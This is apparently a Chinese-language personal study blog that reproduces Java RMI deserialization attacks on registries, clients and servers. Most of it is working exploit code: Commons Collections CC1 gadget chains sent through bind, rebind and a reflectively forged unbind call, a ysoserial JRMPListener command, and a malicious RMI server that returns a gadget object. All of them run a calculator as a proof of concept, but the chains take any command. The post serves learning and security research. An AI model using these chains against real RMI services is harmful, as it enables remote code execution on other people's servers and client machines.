全文参考
 https://drun1baby.top/2022/07/23/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BRMI%E4%B8%93%E9%A2%9802-RMI%E7%9A%84%E5%87%A0%E7%A7%8D%E6%94%BB%E5%87%BB%E6%96%B9%E5%BC%8F 
做一些简单复现,在心里过一遍这个概念
攻击注册中心 之前看代码的时候知道RegistryImpl_Skel#dispatch里面有几个方式,对应关系如下
0 —– bind 
1 —– list 
2 —– lookup 
3 —– rebind 
4 —– unbind 
 
分别看下面几个方式
利用list()攻击 几个case只有list里面没有readObject,所以没什么攻击面,这里只能简单打印出信息
在RMIClient新建代码
1 2 3 4 5 6 7 8 9 10 // 针对 Registry 的 list 鸡肋攻击   import java.rmi.Naming; // 针对 Registry 的 list 鸡肋攻击   public class test {     public static void main(String[] args) throws Exception{         String[] s = Naming.list("rmi://127.0.0.1:1099");         System.out.println(s);     } } 
bind()或rebind() 看一下源码,可以看到case0也就是bind里面有readObject
case2的rebind也是(不截图了)
这两个地方都存在反序列化点,参数是我们的参数名和远程对象
现在尝试用CC1,CC1最后面是 InvocationHandler.readObject(),现在我们要让客户端的 bind() 方法执行 readObject()。
 RMI注册中心(Registry)的 bind() 方法要求绑定的对象必须是 Remote 接口的实现类或其代理对象InvocationHandler)会因类型不匹配被拒绝
 
这里客户端收到信息是一个proxy对象,让proxy对象被执行的时候去调用readObject,所以我们有一个CC1生成的对象后要给他要一个动态代理的壳,以下是代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import  org.apache.commons.collections.Transformer;import  org.apache.commons.collections.functors.ChainedTransformer;import  org.apache.commons.collections.functors.ConstantTransformer;import  org.apache.commons.collections.functors.InvokerTransformer;import  org.apache.commons.collections.map.TransformedMap;import  java.lang.annotation.Target;import  java.lang.reflect.Constructor;import  java.lang.reflect.InvocationHandler;import  java.lang.reflect.Proxy;import  java.rmi.Remote;import  java.rmi.registry.LocateRegistry;import  java.rmi.registry.Registry;import  java.util.HashMap;import  java.util.Map;public  class  test  {    public  static  void  main (String[] args)  throws  Exception{         Registry  registry  =  LocateRegistry.getRegistry("127.0.0.1" ,1099 );         InvocationHandler  handler  =  (InvocationHandler) CC1();          Remote  remote  =  Remote.class.cast(Proxy.newProxyInstance(                  Remote.class.getClassLoader(),new  Class [] { Remote.class }, handler));         registry.bind("test" ,remote);      }     public  static  Object CC1 ()  throws  Exception{         Transformer[] transformers = new  Transformer []{                 new  ConstantTransformer (Runtime.class),                 new  InvokerTransformer ("getMethod" ,new  Class []{String.class,Class[].class},new  Object []{"getRuntime" ,null }),                 new  InvokerTransformer ("invoke" ,new  Class []{Object.class,Object[].class},new  Object []{null ,null }),                 new  InvokerTransformer ("exec" ,new  Class []{String.class},new  Object []{"open -a calculator" }),         };         ChainedTransformer  chainedTransformer  =  new  ChainedTransformer (transformers);         HashMap<Object,Object> hashMap = new  HashMap <>();         hashMap.put("value" ,"111" );         Map<Object,Object> transformerMap = TransformedMap.decorate(hashMap,null ,chainedTransformer);         Class  c  =  Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );         Constructor  constructor  =  c.getDeclaredConstructor(Class.class,Map.class);         constructor.setAccessible(true );         Object  o  =  constructor.newInstance(Target.class,transformerMap);         return  o;     } } 
rebind同理,直接修改成 registry.rebind("test",remote);也能弹计算机
unbind()和lookup() 这是lookup()和unbind()源码
这两个的思路是差不多的,我们看unbind(),unbind()里面只接收string类型的readObject
这里的思路是攻击者模仿RegistryImpl_Stub的流程伪造请求数据,然后网络传输,服务端Skel处理数据,触发反序列化,然后中间涉及反射调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 public  class  test  {    public  static  void  main (String[] args)  throws  Exception{         Registry  registry  =  LocateRegistry.getRegistry("127.0.0.1" ,1099 );         InvocationHandler  handler  =  (InvocationHandler) CC1();         Remote  remote  =  Remote.class.cast(Proxy.newProxyInstance(                 Remote.class.getClassLoader(),new  Class [] { Remote.class }, handler));         Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();          fields_0[0 ].setAccessible(true );          UnicastRef  ref  =  (UnicastRef) fields_0[0 ].get(registry);                   Field[] fields_1 = registry.getClass().getDeclaredFields();          fields_1[0 ].setAccessible(true );          Operation[] operations = (Operation[]) fields_1[0 ].get(registry);          RemoteCall  var2  =  ref.newCall((RemoteObject) registry, operations, 4 , 4905912898345647071L );         ObjectOutput  var3  =  var2.getOutputStream();         var3.writeObject(remote);         ref.invoke(var2);     }     public  static  Object CC1 ()  throws  Exception{         Transformer[] transformers = new  Transformer []{                 new  ConstantTransformer (Runtime.class),                 new  InvokerTransformer ("getMethod" ,new  Class []{String.class,Class[].class},new  Object []{"getRuntime" ,null }),                 new  InvokerTransformer ("invoke" ,new  Class []{Object.class,Object[].class},new  Object []{null ,null }),                 new  InvokerTransformer ("exec" ,new  Class []{String.class},new  Object []{"open -a calculator" }),         };         ChainedTransformer  chainedTransformer  =  new  ChainedTransformer (transformers);         HashMap<Object,Object> hashMap = new  HashMap <>();         hashMap.put("value" ,"111" );         Map<Object,Object> transformerMap = TransformedMap.decorate(hashMap,null ,chainedTransformer);         Class  c  =  Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );         Constructor  constructor  =  c.getDeclaredConstructor(Class.class,Map.class);         constructor.setAccessible(true );         Object  o  =  constructor.newInstance(Target.class,transformerMap);         return  o;     } } 
攻击客户端 主要是在 unmarshalValue() 那个地方存在入口类
注册中心攻击客户端 对注册中心来说,有5个方法可以触发,除了unbind和rebind都会返回数据,返回的都是序列化的格式,所以会有客户端反序列化流程,如果我们控制注册中心给客户端发送的数据是恶意的,就能实现对客户端的攻击,这里直接用链子打
1 java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'open -a calculator' 
直接起一个1099服务,然后客户端执行
1 2 Registry  registry  =  LocateRegistry.getRegistry("localhost" , 1099 );registry.list() 
就会弹计算机
服务端攻击客户端 服务端返回恶意Object 远程方法调用的时候返回的数据除了String,还可以是Object,如果是Object就会有反序列化流程,所以操作空间在这里,现在伪造一个恶意的服务端,当被客户端调用的时候返回恶意Object
新建一个User接口
1 2 3 public  interface  User  extends  java .rmi.Remote {    public  Object getUser ()  throws  Exception; } 
接口实现,里面getUser方法返回一个恶意对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import  org.apache.commons.collections.Transformer;import  org.apache.commons.collections.functors.ChainedTransformer;import  org.apache.commons.collections.functors.ConstantTransformer;import  org.apache.commons.collections.functors.InvokerTransformer;import  org.apache.commons.collections.map.LazyMap;import  org.apache.commons.collections.map.TransformedMap;import  java.io.Serializable;import  java.lang.annotation.Retention;import  java.lang.annotation.Target;import  java.lang.reflect.Constructor;import  java.lang.reflect.InvocationHandler;import  java.lang.reflect.InvocationTargetException;import  java.lang.reflect.Proxy;import  java.rmi.RemoteException;import  java.rmi.server.UnicastRemoteObject;import  java.util.HashMap;import  java.util.Map;public  class  ServerReturnObject  extends  UnicastRemoteObject  implements  User   {    public  String name;     public  int  age;     public  ServerReturnObject (String name, int  age)  throws  RemoteException {         super ();         this .name = name;         this .age = age;     }     public  Object getUser ()  throws  Exception {         Transformer[] transformers = new  Transformer []{                 new  ConstantTransformer (Runtime.class),                 new  InvokerTransformer ("getMethod" ,new  Class []{String.class,Class[].class},new  Object []{"getRuntime" ,null }),                 new  InvokerTransformer ("invoke" ,new  Class []{Object.class,Object[].class},new  Object []{null ,null }),                 new  InvokerTransformer ("exec" ,new  Class []{String.class},new  Object []{"open -a calculator" }),         };         ChainedTransformer  chainedTransformer  =  new  ChainedTransformer (transformers);         HashMap<Object,Object> hashMap = new  HashMap <>();         hashMap.put("value" ,"111" );         Map<Object,Object> transformerMap = TransformedMap.decorate(hashMap,null ,chainedTransformer);         Class  c  =  Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );         Constructor  constructor  =  c.getDeclaredConstructor(Class.class,Map.class);         constructor.setAccessible(true );         Object  o  =  constructor.newInstance(Target.class,transformerMap);         return  o;     } } 
服务端启动,把恶意对象绑定到注册中心
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import  java.rmi.AlreadyBoundException;import  java.rmi.RemoteException;import  java.rmi.registry.LocateRegistry;import  java.rmi.registry.Registry;public  class  EvilClassServer  {    public  static  void  main (String[] args)  throws  RemoteException, AlreadyBoundException {         User  liming  =  new  ServerReturnObject ("flow" ,15 );         Registry  registry  =  LocateRegistry.createRegistry(1099 );         registry.bind("user" ,liming);         System.out.println("registry is running..." );         System.out.println("liming is bind in registry" );     } } 
客户端请求恶意方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import  java.rmi.Naming;import  java.rmi.NotBoundException;import  java.rmi.Remote;import  java.rmi.RemoteException;import  java.rmi.registry.LocateRegistry;import  java.rmi.registry.Registry;public  class  EVIlClient  {    public  static  void  main (String[] args)  throws  Exception {         Registry  registry  =  LocateRegistry.getRegistry("127.0.0.1" ,1099 );         User  user  =  (User)registry.lookup("user" );         user.getUser();     } } 
成功弹出计算机
加载远程对象 这部分利用条件太苛刻,不细看了
攻击服务端 这块不是很清晰,先略
小结 有些地方还不是很清晰,总体就是利用返回数据要反序列化这个点打,或者注册中心的几个方法,看起来有些手法已经过时或者太苛刻了,可学性不高。
匆匆写下这些,其实还不够全,后面再补上,本文内容无法做完知识参考,纯粹个人笔记。如有错误,欢迎指正。